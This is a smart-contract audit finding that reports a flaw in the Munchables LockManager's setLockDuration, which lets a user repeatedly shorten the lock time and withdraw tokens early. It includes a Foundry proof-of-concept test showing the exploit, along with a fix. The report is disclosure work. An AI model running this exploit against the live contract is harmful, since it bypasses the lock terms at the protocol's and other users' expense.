Munchables - ahmedaghadi's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245

Vulnerability details

Impact

The LockManager::setLockDuration function is as follows ( https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245 ):

    function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();

        playerSettings[msg.sender].lockDuration = uint32(_duration);
        // update any existing lock
        uint256 configuredTokensLength = configuredTokenContracts.length;
        for (uint256 i; i < configuredTokensLength; i++) {
            address tokenContract = configuredTokenContracts[i];
            if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
                // check they are not setting lock time before current unlocktime
@-->            if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                }

                uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                    .lastLockTime;
@-->            lockedTokens[msg.sender][tokenContract].unlockTime =
                    lastLockTime +
                    uint32(_duration);
            }
        }

        emit LockDuration(msg.sender, _duration);
    }

Here, if user passes minimum value for _duration to execute setLockDuration function, then they can reduce the unlockTime that is previously set. The minimum _duration that can be passed in setLockDuration function is lockedTokens[msg.sender][tokenContract].unlockTime - uint32(block.timestamp) as the if condition uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime will be true and thus unlockTime will be reduced due to how unlockTime is updated i.e lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration) ( lastLockTime will be less than block.timestamp if user has called setLockDuration function when some time has passed after locking tokens ).

For example, consider the following scenario:

• User has locked some tokens at block.timestamp equals to 100 ( lastLockTime equals to 100 ) and unlockTime is set to 200.
• After sometime, let's say at block.timestamp equals to 150, user can call setLockDuration function with _duration equals to 50 ( minimum allowed value ) and thus the unlockTime will be reduced to 100 + 50 = 150 i.e lastLockTime + _duration.
• Now user can unlock the tokens at block.timestamp equals to 150 although the initial unlock time was set to 200.
• As block.timestamp is equals to unlockTime i.e 150, user can now unlock the tokens at block.timestamp equals to 150 even though unlockTime was previously set to 200.
• Also, as block.timestamp <= unlockTime, user can now call setLockDuration function with _duration equals to 0 and further reduce the unlockTime to 0.

In short, if current block.timestamp is greater than lastLockTime ( i.e. some time has passed after locking tokens ), then user can repeatedly call setLockDuration function with _duration equals to unlockTime - block.timestamp ( minimum possible value which setLockDuration function accepts ) until the unlockTime is reduced to 0 or is less than current block.timestamp which will let user unlock the tokens before the actual unlock time.

Thus, any user can reduce the unlockTime to 0 and unlock the tokens before the actual unlock time.

Proof of Concept

Add the following test file in src/test directory:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";
import "../interfaces/ILockManager.sol";

interface ILM is ILockManager {
    function lockdrop() external view returns (Lockdrop memory);
}

contract AuditTest is MunchablesTest {
    function test_BugUnlockDuration() public {
        uint256 lockAmount = 100e18;
        deployContracts();

        address user = address(0xaabbcc);

        vm.deal(user, lockAmount);
        assertEq(user.balance, lockAmount);

        vm.startPrank(user);
        // registering user
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);

        assertEq(user.balance, 0);

        // Time at which tokens were locked
        uint256 timeAtLock = block.timestamp;
        // Current block.timestamp is 1
        assertEq(timeAtLock, 1);

        ILockManager.Lockdrop memory ld = ILM(address(lm)).lockdrop();
        // Minimum Lock Duration is 86400 i.e. 1 day
        assertEq(ld.minLockDuration, 86400);

        ILockManager.LockedTokenWithMetadata[] memory lt = lm.getLocked(user);
        uint256 originalUnlockTime = lt[0].lockedToken.unlockTime;
        // Unlock time should be 1 day from now as minimum lock duration is 1 day
        assertEq(originalUnlockTime, block.timestamp + 86400);

        // Let's say sometime has passed and now block.timestamp is 40000 ( less than 1 day i.e 86400 seconds )
        vm.warp(40000);

        // Minimum `_duration` that can be set through `setLockDuration` is originalUnlockTime - block.timestamp i.e. 86401 - 40000 = 46401
        // Thus, we can reduce the unlock time to 46401 + timeAtLock = 46402
        lm.setLockDuration(46401);

        lt = lm.getLocked(user);
        // Unlock time should be reduced to 46402
        assertEq(lt[0].lockedToken.unlockTime, 46401 + timeAtLock);

        // As current block.timestamp is 40000 and unlock time is 46402, we can't unlock the tokens yet
        // Minimum `_duration` that can be set through `setLockDuration` is UnlockTime - block.timestamp i.e. 46402 - 40000 = 6402
        // Thus, We can reduce the unlock time further to 6402 + timeAtLock = 6403
        lm.setLockDuration(6402);

        lt = lm.getLocked(user);
        // Unlock time should be reduced to 6403
        assertEq(lt[0].lockedToken.unlockTime, 6402 + timeAtLock);

        // Now we can unlock the tokens as block.timestamp > unlockTime i.e 40000 > 6403
        // Plus, now as block.timestamp > unlockTime, we can even reduce the unlock time to 0
        lm.setLockDuration(0);

        lm.unlock(address(0), lockAmount);
        vm.stopPrank();

        assertEq(user.balance, lockAmount);
    }
}

We can run the test by:

forge test --mt test_BugUnlockDuration

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Following changes in LockManager::setLockDuration function would fix the issue:

    function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();

        playerSettings[msg.sender].lockDuration = uint32(_duration);
        // update any existing lock
        uint256 configuredTokensLength = configuredTokenContracts.length;
        for (uint256 i; i < configuredTokensLength; i++) {
            address tokenContract = configuredTokenContracts[i];
            if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
                // check they are not setting lock time before current unlocktime
                if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                }

                uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                    .lastLockTime;
-                lockedTokens[msg.sender][tokenContract].unlockTime =
-                    lastLockTime +
-                    uint32(_duration);
+                lockedTokens[msg.sender][tokenContract].unlockTime =
+                    uint32(block.timestamp) +
+                    uint32(_duration);
            }
        }

        emit LockDuration(msg.sender, _duration);
    }

Assessed type

Other